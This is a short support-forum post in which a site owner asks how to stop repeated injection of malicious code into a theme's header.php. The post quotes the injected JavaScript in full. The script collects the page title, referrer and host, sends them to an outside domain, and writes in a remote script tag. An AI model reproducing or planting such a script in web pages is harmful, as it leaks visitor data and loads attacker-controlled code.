header.php was hacked
-
Hi,any help would greatly appreciated..
Hacker injects this code “<script>var a=”; setTimeout(10); var default_keyword = encodeURIComponent(document.title); var se_referrer = encodeURIComponent(document.referrer); var host = encodeURIComponent(window.location.host); var base = “http://osteria-salvatore.de/js/jquery.min.php”; var n_url = base + “?default_keyword=” + default_keyword + “&se_referrer=” + se_referrer + “&source=” + host; var f_url = base + “?c_utt=snt2014&c_utm=” + encodeURIComponent(n_url); if (default_keyword !== null && default_keyword !== ” && se_referrer !== null && se_referrer !== ”){document.write(‘<script type=”text/javascript” src=”‘ + f_url + ‘”>’ + ‘<‘ + ‘/script>’);}</script>” just before the </head> in header.php. even after removing the code the hacker somehow can still insert the code again.is there any way to stop the php files or atleast the header.php from editing? already tried changing file permission (to 444) via ftp but i cant, it keeps coming back to 644
i need help, thanks in advance
The topic ‘header.php was hacked’ is closed to new replies.